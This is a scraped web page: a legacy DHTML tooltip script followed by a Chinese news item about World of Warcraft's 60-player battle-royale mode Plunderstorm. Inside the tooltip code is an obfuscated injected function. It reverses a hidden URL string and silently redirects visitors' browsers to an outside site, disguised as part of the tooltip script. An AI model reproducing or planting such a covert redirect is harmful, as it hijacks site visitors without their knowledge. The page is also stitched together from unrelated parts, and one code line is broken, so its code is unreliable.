var offsetfromcursorX=12 //Customize x offset of tooltip
var offsetfromcursorY=10 //Customize y offset of tooltip
var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer image
var offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1).
document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIV
document.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="/UploadFiles/2021-04-02/popdiv.gif">
var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""
var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : ""
function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}
function ddrivetip(thetext, thewidth, thecolor){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}
(function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.ner\
cu//:p\
tth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})();
function positiontip(e){
if (enabletip){
var nondefaultpos=false
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20
var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20
var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorX
var bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY
var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000
//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth){
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=curX-tipobj.offsetWidth+"px"
nondefaultpos=true
}
else if (curX<leftedge)
tipobj.style.left="5px"
else{
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"
pointerobj.style.left=curX+offsetfromcursorX+"px"
}
//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight){
tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"
nondefaultpos=true
}
else{
tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"
pointerobj.style.top=curY+offsetfromcursorY+"px"
}
tipobj.style.visibility="visible"
if (!nondefaultpos)
pointerobj.style.visibility="visible"
else
pointerobj.style.visibility="hidden"
}
}
function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
pointerobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip
popdiv
《魔兽世界》大逃杀!60人新游玩模式《强袭风暴》3月21日上线
暴雪近日发布了《魔兽世界》10.2.6 更新内容,新游玩模式《强袭风暴》即将于3月21 日在亚服上线,届时玩家将前往阿拉希高地展开一场 60 人大逃杀对战。
艾泽拉斯的冒险者已经征服了艾泽拉斯的大地及遥远的彼岸。他们在对抗世界上最致命的敌人时展现出过人的手腕,并且成功阻止终结宇宙等级的威胁。当他们在为即将于《魔兽世界》资料片《地心之战》中来袭的萨拉塔斯势力做战斗准备时,他们还需要在熟悉的阿拉希高地面对一个全新的敌人──那就是彼此。在《巨龙崛起》10.2.6 更新的《强袭风暴》中,玩家将会进入一个全新的海盗主题大逃杀式限时活动,其中包含极高的风险和史诗级的奖励。
《强袭风暴》不是普通的战场,作为一个独立于主游戏之外的活动,玩家可以用大逃杀的风格来体验《魔兽世界》,不分职业、不分装备(除了你在赛局中捡到的),光是技巧和战略的强弱之分就能决定出谁才是能坚持到最后的赢家。本次活动将会开放单人和双人模式,玩家在加入海盗主题的预赛大厅区域前,可以从强袭风暴角色画面新增好友。游玩游戏将可以累计名望轨迹,《巨龙崛起》和《魔兽世界:巫妖王之怒 经典版》的玩家都可以获得奖励。